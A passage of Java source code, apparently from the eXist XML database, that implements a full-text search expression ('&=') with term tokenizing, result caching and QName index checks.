have any matches and can return if (preselectResult != null && preselectResult.isEmpty()) return Sequence.EMPTY_SEQUENCE; if (contextItem != null) contextSequence = contextItem.toSequence(); if (preselectResult == null && !checkForQNameIndex(contextSequence)) contextQName = null; NodeSet result; // if the expression does not depend on the current context item, // we can evaluate it in one single step if (path == null || !Dependency.dependsOn(path, Dependency.CONTEXT_ITEM)) { boolean canCache = !Dependency.dependsOn(searchTerm, Dependency.CONTEXT_ITEM) && !Dependency.dependsOnVar(searchTerm); if( canCache && cached != null && cached.isValid(contextSequence)) { return cached.getResult(); } // do we optimize this expression? if (contextStep == null || preselectResult == null) { // no optimization: process the whole expression NodeSet nodes = path == null ? contextSequence.toNodeSet() : path.eval(contextSequence).toNodeSet(); String arg = searchTerm.eval(contextSequence).getStringValue(); result = evalQuery(arg, nodes).toNodeSet(); } else { contextStep.setPreloadNodeSets(true); contextStep.setPreloadedData(preselectResult.getDocumentSet(), preselectResult); result = path.eval(contextSequence).toNodeSet(); } if(canCache && contextSequence instanceof NodeSet) cached = new CachedResult((NodeSet)contextSequence, result); // otherwise we have to walk through each item in the context } else { Item current; String arg; NodeSet nodes; result = new ExtArrayNodeSet(); Sequence temp; for (SequenceIterator i = contextSequence.iterate(); i.hasNext();) { current = i.nextItem(); arg = searchTerm.eval(current.toSequence()).getStringValue(); nodes = path == null ? contextSequence.toNodeSet() : path .eval(current.toSequence()).toNodeSet(); temp = evalQuery(arg, nodes); result.addAll(temp); } } preselectResult = null; return result; } private boolean checkForQNameIndex(Sequence contextSequence) { if (contextSequence == null || contextQName == null) return false; boolean hasQNameIndex = true; for (Iterator i = contextSequence.getCollectionIterator(); i.hasNext(); ) { Collection collection = (Collection) i.next(); if (collection.getURI().equals(XmldbURI.SYSTEM_COLLECTION_URI)) continue; IndexSpec config = collection.getIdxConf(context.getBroker()); FulltextIndexSpec spec = config.getFulltextIndexSpec(); hasQNameIndex = spec.hasQNameIndex(contextQName); if (!hasQNameIndex) { if (LOG.isTraceEnabled()) LOG.trace("cannot use index on QName: " + contextQName + ". Collection " + collection.getURI() + " does not define an index"); break; } } return hasQNameIndex; } protected Sequence evalQuery(String searchArg, NodeSet nodes) throws XPathException { String[] terms; try { terms = getSearchTerms(searchArg); } catch (EXistException e) { throw new XPathException(e.getMessage(), e); } NodeSet hits = processQuery(terms, nodes); if (hits == null) return NodeSet.EMPTY_SET; return hits; } public String toString() { StringBuffer result = new StringBuffer(); result.append(path.toString()); result.append(" &= "); result.append(searchTerm.toString()); return result.toString(); } /* (non-Javadoc) * @see org.exist.xquery.Function#dump(org.exist.xquery.util.ExpressionDumper) */ public void dump(ExpressionDumper dumper) { path.dump(dumper); dumper.display(" &= "); searchTerm.dump(dumper); } /* (non-Javadoc) * @see org.exist.xquery.functions.Function#getDependencies() */ public int getDependencies() { return path.getDependencies(); } protected String[] getSearchTerms(String searchString) throws EXistException { List tokens = new ArrayList(); Tokenizer tokenizer = context.getBroker().getTextEngine().getTokenizer(); tokenizer.setText(searchString); org.exist.storage.analysis.TextToken token; String word; while (null != (token = tokenizer.nextToken(true))) { word = token.getText(); tokens.add(word); } String[] terms = new String[tokens.size()]; return (String[]) tokens.toArray(terms); } protected NodeSet processQuery(String[] terms, NodeSet contextSet) throws XPathException { if (terms == null) throw new RuntimeException("no search terms"); if(terms.length == 0) return NodeSet.EMPTY_SET; NodeSet[] hits = getMatches(contextSet.getDocumentSet(), contextSet, contextQName, terms); NodeSet result = hits[0]; if(result != null) { for(int k = 1; k < hits.length; k++) { if(hits[k] != null) result = (type == Constants.FULLTEXT_AND ? result.deepIntersection(hits[k]) : result.union(hits[k])); } return result; } else return NodeSet.EMPTY_SET; } protected NodeSet[] getMatches(DocumentSet docs, NodeSet contextSet, QName qname, String[] terms) throws XPathException { NodeSet hits[] = new NodeSet[terms.length]; for (int k = 0; k < terms.length; k++) { hits[k] = context.getBroker().getTextEngine().getNodesContaining( context, docs, contextSet, qname, terms[k], DBBroker.MATCH_EXACT); } return hits; } public int returnsType() { return Type.NODE; } public void setPath(PathExpr path) { this.path = path; } public void setContextDocSet(DocumentSet contextSet) { super.setContextDocSet(contextSet); path.setContextDocSet(contextSet); } /* (non-Javadoc) * @see org.exist.xquery.PathExpr#resetState() */ public void resetState() { super.resetState(); path.resetState(); searchTerm.resetState(); preselectResult = null; cached = null; } public void accept(ExpressionVisitor visitor) { visitor.visitFtExpression(this); } }